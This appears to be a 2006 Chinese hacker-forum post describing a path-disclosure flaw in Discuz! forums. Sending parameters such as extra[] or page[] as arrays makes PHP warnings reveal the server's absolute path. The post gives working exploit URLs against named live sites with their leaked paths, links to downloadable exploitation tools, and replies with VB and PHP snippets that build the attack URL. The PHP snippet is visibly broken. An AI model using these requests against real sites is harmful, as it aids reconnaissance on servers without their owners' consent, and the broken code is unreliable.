Discuz论坛爆物理路径原理+工具
一共有两个版本。一个vb.net 2005写的,需要.net环境,一个是DELPHI写的。
来源:火狐技术联盟
原理及发现:Zizzy
Discovery By Zizzy
2006-8-17
受影响版本
Discuz!5.2
Discuz!5.1
Discuz!4.1
Discuz!4.0
………….
1.common.inc.php问题代码207行
.....
$navtitle = $navigation = '';
$extra = isset($extra) && preg_match("/^[&=;a-z0-9]+$/i", $extra) ? $extra : '';
$tpp = intval(empty($_DSESSION['tpp']) ? $topicperpage : $_DSESSION['tpp']);
$ppp = intval(empty($_DSESSION['ppp']) ? $postperpage : $_DSESSION['ppp']);
.......
提交:
http://www.discuz.net/post.php?action=newthread&fid=32&extra[]=page%3D1
返回
Warning: preg_match() expects parameter 2 to be string, array given in
/home/www/wwwroot/www.discuz.net/include/common.inc.php on line 209
2.依然是extra数组的问题
提交
http://bbs.cnbct.org/viewthread.php?tid=316&pid=1453&page=1&extra[]=page%3D1#pid1453
Warning: preg_match() expects parameter 2 to be string, array given in
/home/.cattia/bct/bbs.cnbct.org/include/common.inc.php on line 206
?
Warning: Cannot modify header information - headers already sent by (output started at
/home/.cattia/bct/bbs.cnbct.org/include/common.inc.php:206) in
/home/.cattia/bct/bbs.cnbct.org/include/global.func.php on line 139
3.global.func.php问题代码306行
function ispage($number) {
return !empty($number) && preg_match ("/^([0-9]+)$/", $number);
}
提交:
http://www.discuz.net/viewthread.php?tid=316&pid=1453&page[]=1&extra=page%3D1#pid1453
返回
Warning: preg_match() expects parameter 2 to be string, array given in
/home/www/wwwroot/www.discuz.net/include/global.func.php on line 306
总结
当把变量当成数组提交时,如果不存在该数组,但存在变量,后面的preg_match()正则表达式匹配不了,
这样就出现了绝对路径的泄露
利用工具:
discuz论坛爆绝对路径辅助利用工具(vb.net 2005写的)
作者:T4nk
下载: 27_152918_dz.rar
Discuz论坛物理路径爆破器(DELPHI写的)
作者:童童
下载: http://free5.ys168.com/?tongtong520
偶也来个VB版的:
Private Sub C1_Click()
If Left(T1.Text, 7) <> "http://" Then
T1.Text = "http://" + T1.Text
End If
If Mid(T1.Text, Len(T1.Text), 1) = "/" Then
W1.Navigate T1 & "post.php?action=newthread&fid=32&extra[]=page%3D1"
Else
W1.Navigate T1 & "/post.php?action=newthread&fid=32&extra[]=page%3D1"
End If
呵呵 还你一个PHP版的!! 说实话你写的VB可读性不怎么强! :smile:
<form action="ht.php" method="post">
<input type="text" name="http" value="">
<input type="submit" name-"enter" value="ok">
</form>
<?
$h=$_POST["http"];
$en=$_POST["enter"];
if($en=="ok")
if(substr($h,0,7)!="http://")
$h="http://".$h;
if(substr($h,strlen($h),1))!="/"
opera & $h."/post.php?action=newthread&fid=32&extra[]=page%3D1";
else
opera & $h."post.php?action=newthread&fid=32&extra[]=page%3D1";
?>
鬼哥!! 呵呵 最近在学习LINUX 写的PHP不好 还请别笑我哦!!
:lol:
鬼鬼木jj
:evil:
真的纳闷,放内部的东西怎么会被人放出来….
http://www.wolvez.org/forum/read.php?tid-141.shtml
呵呵,很早就有人放出来了